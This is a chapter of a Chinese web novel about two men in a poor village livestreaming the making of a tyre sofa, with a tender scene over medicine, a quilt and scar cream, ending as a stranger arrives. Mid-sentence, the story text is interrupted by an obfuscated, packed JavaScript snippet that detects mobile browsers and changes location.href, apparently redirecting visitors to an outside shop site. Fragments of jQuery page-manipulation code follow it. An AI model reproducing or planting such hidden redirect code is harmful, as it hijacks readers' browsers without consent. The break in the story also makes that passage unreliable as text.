半小时后。
手机架在砖头上，镜头对准了院子中间的空地。
许知行坐在地上，面前摆着三个废轮胎、一大捆稻草、几块旧衣服的布料，还有针线和剪刀。
直播标题：废轮胎改造懒人沙发。
“今天做个沙发。”许知行对着镜头说，“材料成本：零。”
他拿起其中一个轮胎，先用清水冲洗，再用那把生锈的刮刀把轮胎表面的泥垢刮干净。
弹幕开始进人。
【来了来了！归零又开播了。】
【轮胎做沙发？这也行？】
【复合肥小哥呢！我是来看他的！】
镜头右边，蒋承骁正蹲在地上，拿着砂纸打磨轮胎的切割边缘。他今天也戴着口罩。
蒋承骁打磨的动作很细致，每一个毛刺都不放过。
“你不是生气了吗？”许知行头也不抬地问，“怎么还帮忙？”
“我没帮忙。”蒋承骁磨得更用力了，“我是在做品控。任何产品不能有毛刺，这是底线。万一有人坐上去被扎伤了，那是产品质量事故，你赔得起吗？”
许知行没说话，嘴角动了一下。
【哈哈哈他又来了！品控工程师上线！】
【复合肥小哥，嘴硬心软实锤了。】
【这打磨的手法，看着就专业。虽然磨的是轮胎。】
许知行把清洗好的轮胎立起来，用柴刀沿着胎壁切开一个口子。然后把稻草一把一把地塞进轮胎内部的空腔里，塞得很紧实。
蒋承骁在旁边看着，忍不住说：“稻草塞太松了，坐上去会塌。”
“你来？”
“让开。”
蒋承骁把许知行推到一边，自己蹲下来，开始往轮胎里塞稻草。他塞得又快又狠，每塞一把都要用拳头捶实。
“密度不够就没有支撑力。”蒋承骁一边捶一边说，“你做东西就是太糙，只管外面好看，里面全是糊弄。”
“你说谁糊弄？”
“说你。”蒋承骁头也不抬。
许知行不跟他吵，拿起针线开始缝布套。那几块旧衣服的布料被他裁成合适的形状，颜色不统一，但拼在一起倒有种拼布艺术的味道。
蒋承骁把三个轮胎都塞满了稻草，又用麻绳把它们固定在一起，两个做底座，一个竖起来做靠背。
许知行把缝好的布套套在上面，拉紧，缝死。
一个小时后。
一个轮胎沙发出现在院子中间。
底座矮矮的，靠背微微后仰，布套的颜色是深蓝和灰白的拼色，看起来居然有点像那种北欧风的设计师家具。
弹幕已经炸了。
【卧槽这是轮胎？看起来像宜家的新品！】
【主播的审美绝了，这配色太高级了。】
【能坐吗？结实吗？让助理小哥试试！】
许知行站起来，拍了拍手上的灰。
“试试。”他看着蒋承骁。
蒋承骁绕着沙发走了一圈，用手按了按靠背，又踢了踢底座。
“底座稳定性还行。”他点评道，“靠背角度大概一百一十度，不太标准，人体工学的最佳角度是一百到一百一十之间。”
“坐不坐？”
蒋承骁犹豫了一秒，转身一屁股坐了进去。
轮胎沙发发出一声闷响，稳稳地接住了他。
稻草填充的坐面有弹性，不软不硬，屁股陷进去一点，刚刚好。靠背也很舒服，腰那里有个弧度，刚好顶住腰椎。
蒋承骁靠在上面，两条长腿伸直，整个人放松下来。
他不想起来了。
“怎么样？”许知行问。
蒋承骁闭着眼，脸上的嫌弃表情维持了三秒钟，然后绷不住了。嘴角往下压了压，还是翘了起来。
“勉强符合人体工学。”他说。
弹幕开始疯狂刷屏。
【好好好，让我来中译中，这句话翻译一下就是：真他妈舒服！】
【这沙发我要了！多少钱！】
许知行正要开口报价，院子外面传来脚步声。
“许哥！许哥在吗？”
一个年轻人的声音。
许知行走到门口。
一个十七八岁的小伙子气喘吁吁地跑过来，手里提着一个布袋子。
“你是？”许知行问。
“我是卫生所大夫的徒弟！”小伙子擦了把汗，把布袋递过来，“许哥，你之前订的消炎药和被子到了！之前那批货只到了祛疤膏，这两样刚刚才从镇上送过来的！”
许知行伸手想接。
小伙子嗓门大，接着就喊了出来：“你不是说你家那位身子娇贵，身上有伤口怕发炎，晚上还怕着凉嘛！师父跟我说，让东西到了赶紧送来！我还多跑了两里路呢！”
院子里安静了。
手机还在直播。
蒋承骁坐在轮胎沙发里，姿势没变，但整个人僵住了。
你家那位。
身子娇贵。
怕发炎。
怕着凉。
早上在卫生所那些没想通的事，一瞬间全串起来了。
五百块的定金。
许知行说的“东西没到齐”。
不是一管祛疤膏。
从头到尾，许知行订的就是三样东西——祛疤膏、消炎药、一床新棉被。
祛疤膏先到了，他一声不吭拿回来。消炎药和被子还在路上，他也一声不吭地等着。
五百块钱，他一个人默不作声地安排好了所有事。
蒋承骁慢慢地转过头，看向门口的许知行。
许知行面无表情地接过布袋，对小伙子说了声谢谢。
小伙子挥挥手跑了。
许知行转身走回院子里，看到蒋承骁正盯着他，眼神复杂。
“看什么？”
蒋承骁没有先问“身子娇贵”的事。
他沉默了两秒，声音有点闷：“所以早上那五百块，不是只买了一管祛疤膏。”
“嗯。”
“消炎药、祛疤膏，还有被子。”
“嗯。”
蒋承骁攥了一下拳头，松开，又攥紧。
“你为什么不说？”
他的声音不大，但跟平时不一样。
许知行看了他一眼：“说了又能怎样？”
蒋承骁坐在沙发里，低着头，看着自己的手。
那双手上全是伤，旧伤叠着新伤，今天早上钻灌木丛又添了几道新鲜的红印。
他来这个破村子这么久，除了一条发霉的旧床单，什么都没有。冷的时候只能把所有衣服压在身上，伤口从来不处理，扛过去就算了。
他以为这是正常的。
他以为所有人都是这么过的。
但许知行不这么想。
许知行觉得他的伤口不能不管，他的疤不能留着不治，他晚上不能冻着。
许知行觉得这些事情比什么都重要，重要到值得花五百块——他们全部家当的三分之一去解决。
而且连一句多余的话都不说。
“你还跟人家大夫说我身子娇贵？”蒋承骁终于把话题拐到了这上面，声音闷闷的。
“你不娇贵？”许知行把布袋放在桌上，“发烧四十度抱着公鸡哭，半夜冻醒了缩成一团还嘴硬说不冷，蚊子咬一口能骂半小时。不叫身子娇贵叫什么？”
蒋承骁张了张嘴，没说话。
许知行从布袋里拿出一盒消炎药和一床叠得整整齐齐的棉被。
被子是新的，蓝色格子花纹，摸起来厚实柔软。
“消炎药配着祛疤膏一起用，早晚各一次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303606|198618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，先吃药再涂膏。”许知行把消炎药扔给他，“被子今晚用，别再裹那条破床单了。”
蒋承骁接住药盒，低头看了看。
他又看了看那床新被子。
他想说谢谢。
这两个字到了嘴边，又被他咽了回去。
他坐在沙发里，把药盒翻来覆去地看，假装在研究说明书。
“保质期还有一年半。”他说，声音比平时轻了很多，“还行。”
许知行走进厨房做饭。
蒋承骁一个人坐在沙发里，把那床新被子抱在怀里。
棉花的味道，新布料的味道。
他低头把脸埋进被子里，隔着口罩，深深地吸了一口气。
好像很暖。
这时候，手机屏幕上的弹幕早就疯了。
【你家那位！！！他说的是谁！！！】
【我哭了，怕发炎怕着凉，订药订被子，跑了四趟卫生所一个字都不说，这是什么神仙搭档。】
【复合肥小哥戴着口罩还把脸埋进被子里的样子好可爱啊啊啊。】
【他问“为什么不说”的时候我心脏停了一拍。】
【嗑死我了嗑死我了，今天这糖够吃一个月。】
【楼上的，保持富态！】
许知行从厨房探出头，看了一眼还在直播的手机，走过去关掉了。
屏幕黑了。
院子里恢复了安静。
蒋承骁抱着被子从沙发里站起来，端端正正地把被子抱进里屋，铺在炕上。他把被角拉平整，用手抹了又抹，确保没有一丝褶皱。
然后他从口袋里摸出之前拿回来的那管祛疤膏，犹豫了一下，把老头衫撩起来。
背上的伤疤他够不到。
他站了一会儿，拿着药膏走出来。
“许知行。”
“嗯。”
“我背上够不到。”
许知行转过身，看着他。
蒋承骁把药膏递过去，转过身，把后背露出来。
那些刀伤已经结了痂，有的发红，有的发白，像一道道歪歪扭扭的蜈蚣。
许知行接过药膏，挤了一点在手指上，抹在最大的那道疤上。
蒋承骁的背绷紧了一下，很快又放松了。
“凉。”
“药膏都是凉的。”
“轻点。”
“你不是不娇贵吗？”
“闭嘴，涂你的。”
许知行一道一道地涂过去。手指从肩胛骨滑到腰侧，经过那个被刀伤切断的纹身时，停了一下。
“想起什么了吗？”许知行问。
“没有。”蒋承骁的声音很轻，“什么都想不起来。”
许知行把药膏盖好，拍了拍他的肩膀。
“想不起来就别想了。”
蒋承骁把衣服放下来，转过身，看着许知行。
他张了张嘴。
“那个——”
院子外面突然传来了汽车引擎的声音。
两人同时愣住了。
这个村子在山沟沟里，路烂得连拖拉机都费劲，平时根本不会有外面的车进来。
蒋承骁下意识地往后退了一步，手摸向了放在桌上的游标卡尺。
许知行走到院门口。
一辆黑色的轿车停在门外。
车很干净，跟这个泥巴糊的村子格格不入。
车窗缓缓地摇下来。
一个戴着大墨镜的女人从车窗里探出头。
她皮肤很白，嘴唇涂着暗红色的口红，耳朵上戴着一颗很大的珍珠耳环。
她嫌弃地看了一眼破败的院墙、歪斜的木门、院子里蹲着的将军和趴着的大黑，皱起了眉。
“请问，”女人的声音很冷，透着一股不耐烦，“这里是不是住着一个叫许知行的？”